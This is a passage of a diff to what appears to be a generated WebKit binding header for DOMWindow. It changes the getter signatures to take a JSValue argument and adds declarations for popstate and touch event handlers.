+JSC::JSValue jsDOMWindowPageXOffset(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMWindowPageYOffset(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMWindowClosed(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMWindowLength(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowLength(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowName(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowName(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowName(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowStatus(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowStatus(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowStatus(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowDefaultStatus(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowDefaultStatus(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowDefaultStatus(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowDefaultstatus(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowDefaultstatus(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowDefaultstatus(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSelf(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSelf(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSelf(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowWindow(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMWindowFrames(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowWindow(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMWindowFrames(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowFrames(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOpener(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOpener(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOpener(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowParent(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowParent(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowParent(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowTop(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowTop(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowTop(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowDocument(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMWindowMedia(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMWindowDevicePixelRatio(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowDocument(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMWindowMedia(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMWindowDevicePixelRatio(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowDevicePixelRatio(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowApplicationCache(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMWindowSessionStorage(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMWindowLocalStorage(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMWindowConsole(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowApplicationCache(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMWindowSessionStorage(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMWindowLocalStorage(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMWindowConsole(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowConsole(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnabort(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnabort(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnabort(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnbeforeunload(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnbeforeunload(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnbeforeunload(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnblur(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnblur(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnblur(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOncanplay(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOncanplay(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOncanplay(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOncanplaythrough(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOncanplaythrough(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOncanplaythrough(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnchange(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnchange(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnchange(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnclick(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnclick(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnclick(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOncontextmenu(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOncontextmenu(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOncontextmenu(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOndblclick(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOndblclick(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOndblclick(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOndrag(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOndrag(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOndrag(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOndragend(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOndragend(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOndragend(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOndragenter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOndragenter(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOndragenter(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOndragleave(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOndragleave(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOndragleave(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOndragover(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOndragover(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOndragover(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOndragstart(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOndragstart(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOndragstart(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOndrop(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOndrop(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOndrop(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOndurationchange(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOndurationchange(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOndurationchange(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnemptied(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnemptied(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnemptied(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnended(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnended(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnended(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnerror(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnerror(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnerror(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnfocus(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnfocus(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnfocus(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnhashchange(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnhashchange(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnhashchange(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOninput(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOninput(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOninput(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOninvalid(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOninvalid(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOninvalid(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnkeydown(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnkeydown(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnkeydown(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnkeypress(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnkeypress(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnkeypress(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnkeyup(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnkeyup(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnkeyup(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnload(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnload(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnload(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnloadeddata(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnloadeddata(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnloadeddata(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnloadedmetadata(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnloadedmetadata(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnloadedmetadata(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnloadstart(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnloadstart(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnloadstart(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnmessage(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnmessage(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnmessage(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnmousedown(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnmousedown(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnmousedown(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnmousemove(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnmousemove(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnmousemove(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnmouseout(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnmouseout(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnmouseout(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnmouseover(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnmouseover(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnmouseover(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnmouseup(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnmouseup(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnmouseup(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnmousewheel(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnmousewheel(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnmousewheel(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnoffline(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnoffline(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnoffline(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnonline(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnonline(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnonline(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnpagehide(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnpagehide(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnpagehide(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnpageshow(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnpageshow(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnpageshow(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnpause(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnpause(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnpause(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnplay(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnplay(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnplay(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnplaying(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnplaying(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnplaying(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnprogress(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnpopstate(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowOnpopstate(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowOnprogress(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnprogress(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnratechange(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnratechange(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnratechange(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnresize(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnresize(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnresize(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnscroll(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnscroll(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnscroll(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnseeked(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnseeked(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnseeked(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnseeking(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnseeking(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnseeking(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnselect(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnselect(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnselect(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnstalled(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnstalled(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnstalled(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnstorage(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnstorage(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnstorage(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnsubmit(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnsubmit(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnsubmit(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnsuspend(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnsuspend(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnsuspend(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOntimeupdate(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOntimeupdate(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOntimeupdate(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnunload(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnunload(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnunload(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnvolumechange(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnvolumechange(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnvolumechange(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnwaiting(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnwaiting(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnwaiting(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnreset(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnreset(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnreset(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnsearch(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnsearch(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnsearch(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnwebkitanimationend(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnwebkitanimationend(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnwebkitanimationend(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnwebkitanimationiteration(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnwebkitanimationiteration(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnwebkitanimationiteration(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnwebkitanimationstart(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnwebkitanimationstart(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnwebkitanimationstart(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOnwebkittransitionend(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOnwebkittransitionend(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOnwebkittransitionend(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowStyleSheetConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOntouchstart(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowOntouchstart(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowOntouchmove(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowOntouchmove(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowOntouchend(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowOntouchend(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowOntouchcancel(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowOntouchcancel(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowStyleSheetConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowStyleSheetConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCSSStyleSheetConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCSSStyleSheetConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCSSStyleSheetConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCSSValueConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCSSValueConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCSSValueConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCSSPrimitiveValueConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCSSPrimitiveValueConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCSSPrimitiveValueConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCSSValueListConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCSSValueListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCSSValueListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowWebKitCSSTransformValueConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowWebKitCSSTransformValueConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowWebKitCSSTransformValueConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCSSRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCSSRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
